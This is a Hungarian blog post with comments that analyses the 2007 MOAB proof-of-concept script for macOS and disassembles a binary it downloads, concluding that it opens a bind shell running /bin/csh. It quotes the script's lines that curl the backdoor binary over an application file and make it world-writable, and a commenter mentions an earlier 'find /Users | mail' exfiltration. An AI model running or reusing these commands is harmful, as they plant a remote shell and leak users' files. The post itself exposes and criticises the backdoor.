MOAB

 ( Pontscho | 2007. január 19., péntek - 13:46 )

Ma kicsit felhúztam magam, s úgy döntöttem, hogy megírom életem első blog bejegyzését.

Ez az egész MOAB dolog (lásd mai post) egyáltalán nem érdekelt volna, ha nem születik meg egy bizonyos hozzászólás.

Nos, akkor nézzünk utána a dolognak kicsit.

1) töltsük le a kérdéses Ruby scriptet.

2) értelmezzük:

...blablabla...
BACKDOO_URL = "http://projects.info-pull.com/moab/bug-files/sample-back" # must be fat binary, sample bind shell

Hoppá.

system "chmod a+rxw #{aped_path}" # let everyone backdoor it afterwards, be social and share!
system "curl #{BACKDOO_URL} -o #{aped_path}"
system "chmod a+x #{aped_path}"

A jo édesanyád.

3) töltsük csak le azt a binárist:

wget http://projects.info-pull.com/moab/bug-files/sample-back

4) játszunk vele egy kicsit:

aeon:~ pontscho$ file sample-back
sample-back: Mach-O universal binary with 2 architectures
sample-back (for architecture ppc):     Mach-O executable ppc
sample-back (for architecture i386):    Mach-O executable i386

Nem aprozzák el, rögtön mindenkivel kikezdenek.

Nézzük meg, hogy milyen szinbólumokat akar betolteni:

aeon:~ pontscho$ nm sample-back
...blablabla...
         U _execv
         U _exit
         U _fork
         U _listen
         U _mach_init_routine
         U _ptrace
00002050 S _receive_samples
         U _shutdown
         U _signal
         U _socket

Hm.

Szedjük szét az unibin konténert cafatokra, első lépésként szedjük ki a PPC binárist. Azért azt, mert egy másik programom kapcsán e tudásom frissebb, nem utolsó sorban egyszerűbb, mint az x86-os megfelelője.

aeon:~ pontscho$ lipo -extract ppc -o sample-back.ppc sample-back

5) bogarásszük át azt a binárist:

aeon:~ pontscho$ otool -t -V sample-back.ppc 
sample-back.ppc (architecture ppc):
(__TEXT,__text) section

...blablabla...

00002ab0        lwz     r3,0x44(r30)
00002ab4        or      r4,r0,r0
00002ab8        or      r5,r2,r2
00002abc        bl      0x2fa0  ; symbol stub for: _bind
00002ac0        or      r0,r3,r3
00002ac4        cmpwi   cr7,r0,0x0
00002ac8        beq     cr7,0x2ad4
00002acc        li      r3,0xffff
00002ad0        bl      0x2ec0  ; symbol stub for: _exit
00002ad4        lwz     r3,0x44(r30)
00002ad8        li      r4,0x1
00002adc        bl      0x2ea0  ; symbol stub for: _listen

Mivan? Mi a jó édes anyjának kell egy proof-concept kódnak egy porton hallgatnia?

Nézzük tovább:

00002b80        bl      0x2f80  ; symbol stub for: _accept
00002b84        or      r0,r3,r3
00002b88        stw     r0,0x40(r30)
00002b8c        lwz     r0,0x40(r30)
00002b90        cmpwi   cr7,r0,0x0
00002b94        bge     cr7,0x2ba0
00002b98        li      r3,0xffff
00002b9c        bl      0x2ec0  ; symbol stub for: _exit
00002ba0        bl      0x2f20  ; symbol stub for: _fork
00002ba4        or      r0,r3,r3
00002ba8        cmpwi   cr7,r0,0x0
00002bac        beq     cr7,0x2bf8
00002bb0        lwz     r3,0x40(r30)
00002bb4        li      r4,0x0
00002bb8        bl      0x2e80  ; symbol stub for: _dup2
00002bbc        lwz     r3,0x40(r30)
00002bc0        li      r4,0x1
00002bc4        bl      0x2e80  ; symbol stub for: _dup2
00002bc8        lwz     r3,0x40(r30)
00002bcc        li      r4,0x2
00002bd0        bl      0x2e80  ; symbol stub for: _dup2
00002bd4        addi    r0,r30,0x260
00002bd8        or      r3,r0,r0
00002bdc        li      r4,0x0
00002be0        bl      0x2f00  ; symbol stub for: _execv
00002be4        lwz     r3,0x40(r30)
00002be8        li      r4,0x2
00002bec        bl      0x2f60  ; symbol stub for: _shutdown

Remek. Hallgat egy porton, majd a bejövő stringet megprobálja végrehajtani.

Nekem csak egy kérdésem lenne... miért van arra szükség, hogy third party app hibáját demonstráló cucc hátsókaput nyisson a gépemen ? Miért nem elégséges, hogy kommentként szerepeljen a kódban, hogy "EHUN LETÖTTÖM A CUMÓT, ÉS MOST ITTÉSITT MEGSZÍVTAD." ?

Egyetlen egy pozitívum mondható el erről a kódról, hogy nem küld infót sehova. Viszont ki lehet logikázni a letöltésekből, hogy hol érdemes próbálkozni. (Két tűzfal mögött vagyok, lehet probálkozni a becsatlakozással.)

Szerk: nos, mindössze egy dologban tévedtem, lustaság miatt. A bl _execv elött az r3-as regiszterbe kerül a futtatandó bináris címe, és nem kerestem vissza a forrásban mi az. Tehát: nem a bejövő stringet próbálja meg letuttatni, hanem meghívja a /bin/csh-t... Bővebben itt.

Az egész MOAB dologgal a legkomolyabb problémám ez: ez így ebben a formában abszolút etikátlan. Egy apró idézet a fenti oldalról:

The original download (which I've deleted, unfortunately) was 38,200 bytes. The new one is 33,964 bytes, md5 a345c1c6433e112777302ccae4e39ab2.

...

Hozzászólás megjelenítési lehetőségek

A választott hozzászólás megjelenítési mód a „Beállítás” gombbal rögzíthető.

Nezd meg jobban, nalam csinalt anno egy "LDAP admin" nevu usert, meg egy "find /Users | mail ..." biztosan volt benne.
Vagy kozben ezt is megvaltoztattak?

Ki akartam probalni, de az Application Enhancer 2.0.2 nem inditja el a backdoor binarist, lehet fixaltak kozben.

Abban amit en letoltottem, mar semmi ilyesmi nem van. De ettol meg nem valik kevesbe etikatlanna dolog meg a mostani allapotaban sem.

---
pontscho / fresh!mindworkz

Szabad szemmel abban a binarisban se latszott.

A hasznalt szimbolumok kozt sincs olyasmi, ami erre utalna (se file muvelet, se syscall, hogy ezt megprobaljak elrejteni).

De ez nem zarja ki azt, hogy egy elobbi verzioban nem volt benne.

---
pontscho / fresh!mindworkz